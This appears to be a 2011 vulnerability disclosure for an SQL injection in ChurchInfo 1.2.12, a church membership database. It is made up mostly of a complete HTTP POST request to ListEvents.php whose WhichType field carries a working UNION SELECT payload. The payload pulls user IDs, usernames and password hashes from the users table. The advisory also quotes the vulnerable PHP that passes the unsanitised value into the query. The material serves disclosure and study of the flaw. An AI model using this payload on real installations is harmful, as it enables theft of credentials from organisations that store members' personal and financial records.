85 lines
No EOL
2.8 KiB
Text
85 lines
No EOL
2.8 KiB
Text
:::::::-. ... ::::::. :::.
|
|
;;, `';, ;; ;;;`;;;;, `;;;
|
|
`[[ [[[[' [[[ [[[[[. '[[
|
|
$$, $$$$ $$$ $$$ "Y$c$$
|
|
888_,o8P'88 .d888 888 Y88
|
|
MMMMP"` "YmmMMMM"" MMM YM
|
|
|
|
[ Discovered by dun \ posdub[at]gmail.com ]
|
|
[ 2011-01-01 ]
|
|
##############################################################
|
|
# [ ChurchInfo <= 1.2.12 ] SQL Injection Vulnerability #
|
|
##############################################################
|
|
#
|
|
# Script: "ChurchInfo is a free church database program to help churches track members,
|
|
# families, groups, pledges and payments..."
|
|
#
|
|
# Script site: http://www.churchdb.org/
|
|
# Download: http://sourceforge.net/projects/churchinfo/
|
|
#
|
|
# [SQL] Vuln: http://site.com/churchinfo-1.2.12/ListEvents.php
|
|
#
|
|
# POST /churchinfo-1.2.12/ListEvents.php HTTP/1.1
|
|
# Host: site.com
|
|
# User-Agent: Mozilla/5.0
|
|
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
# Accept-Language: pl,en-us;q=0.7,en;q=0.3
|
|
# Accept-Encoding: gzip,deflate
|
|
# Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7
|
|
# Keep-Alive: 115
|
|
# Connection: keep-alive
|
|
# Cookie: d4dad6935f632ac35975e3001dc7bbe8=49c5739b193271a0005a59b294a05da9; PHPSESSID=8aec7c6adbe96b4079c0150b3c54452a
|
|
# Content-Type: application/x-www-form-urlencoded
|
|
# Content-Length: 150
|
|
#
|
|
# WhichType=-1/**/UNION/**/SELECT/**/1,concat_ws(char(58),usr_per_ID,usr_UserName,usr_Password),3,4,5,6,7,8/**/from/**/user_usr/**/WHERE/**/usr_per_ID=1
|
|
#
|
|
# HTTP/1.1 200 OK
|
|
# Date: Sat, 01 Jan 2011 15:39:10 GMT
|
|
# Server: Apache
|
|
# Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
|
|
# Expires: Thu, 19 Nov 1981 08:52:00 GMT
|
|
# Pragma: no-cache
|
|
# X-Powered-By: PHP/4.4.9
|
|
# Keep-Alive: timeout=2, max=200
|
|
# Connection: Keep-Alive
|
|
# Transfer-Encoding: chunked
|
|
# Content-Type: text/html
|
|
#
|
|
#
|
|
# Bug: ./churchinfo-1.2.12/ListEvents.php (lines: 29-48)
|
|
#
|
|
# ...
|
|
# require 'Include/Config.php';
|
|
# require 'Include/Functions.php'; // (0) You should be logged in as some user
|
|
# $eType="All";
|
|
# $ThisYear=date("Y");
|
|
#
|
|
# if ($_POST['WhichType']){
|
|
# $eType = $_POST['WhichType']; // (1)
|
|
# } else {
|
|
# $eType ="All";
|
|
# }
|
|
#
|
|
# if($eType!="All"){
|
|
# $sSQL = "SELECT * FROM event_types WHERE type_id=$eType"; // (2)
|
|
# $rsOpps = RunQuery($sSQL);
|
|
# $aRow = mysql_fetch_array($rsOpps, MYSQL_BOTH);
|
|
# extract($aRow);
|
|
# $sPageTitle = "Listing Events of Type = ".$type_name; // (3)
|
|
# } else {
|
|
# $sPageTitle = gettext("Listing All Church Events");
|
|
# }
|
|
# ...
|
|
#
|
|
#
|
|
# Bug: ./churchinfo-1.2.12/Include/Header-function.php (line: 37)
|
|
#
|
|
# ...
|
|
# <title>ChurchInfo: <?php echo $sPageTitle; ?></title> // (4)
|
|
# ...
|
|
#
|
|
###############################################
|
|
|
|
|
|
[ dun / 2011 ] |